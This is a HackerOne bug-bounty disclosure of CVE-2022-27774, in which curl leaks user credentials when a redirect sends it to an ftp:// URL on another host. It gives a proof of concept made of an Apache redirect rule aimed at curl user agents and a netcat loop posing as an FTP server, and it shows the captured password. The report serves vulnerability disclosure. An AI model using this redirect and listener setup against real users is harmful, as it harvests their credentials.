Lucene search

K
hackeroneNyymiH1:1551586
HistoryApr 27, 2022 - 7:04 a.m.

Internet Bug Bounty: CVE-2022-27774: Credential leak on redirect

2022-04-2707:04:13
nyymi
hackerone.com
$2400
87

0.002 Low

EPSS

Percentile

58.6%

Summary:

curl/libcurl can be coaxed to leak user credentials to third-party host by issuing HTTP redirect to ftp:// URL.

Steps To Reproduce:

  1. Configure for example Apache2 on firstsite.tld to perform redirect with mod_rewrite:
RewriteCond %{HTTP_USER_AGENT} "^curl/"
RewriteRule ^/redirectpoc ftp://secondsite.tld:9999 [R=301,L]
 ```
  1. Capture credentials at secondsite.tld for example with:
    while true; do echo -e "220 pocftp\n331 plz\n530 bye" | nc -v -l -p 9999; done
    
  2. curl -L --user foo https://firstsite.tld/redirectpoc
  3. The entered password is visible in the fake FTP server:
Listening on 0.0.0.0 9999
Connection received on somehost someport
USER foo
PASS secretpassword

There are several issues here:

  1. The credentials are sent to a completely different host than the original host (firstsite.tld vs secondsite.tld). This is definitely not what the user could expect, considering the documentation says:
    > When authentication is used, curl only sends its credentials to the initial host. If a redirect takes curl to a different host, it will not be able to intercept the user+password. See also --location-trusted on how to change this.
  2. The redirect crosses from secure context (HTTPS) to insecure one (FTP). That is the credentials are unexpectedly sent over insecure channels even when the URL specified is using HTTPS.

In addition, TLS SRP user credentials (CURLOPT_TLSAUTH_USERNAME and CURLOPT_TLSAUTH_PASSWORD) are also leaked on redirects.

Impact

Leak of confidential information (user credentials).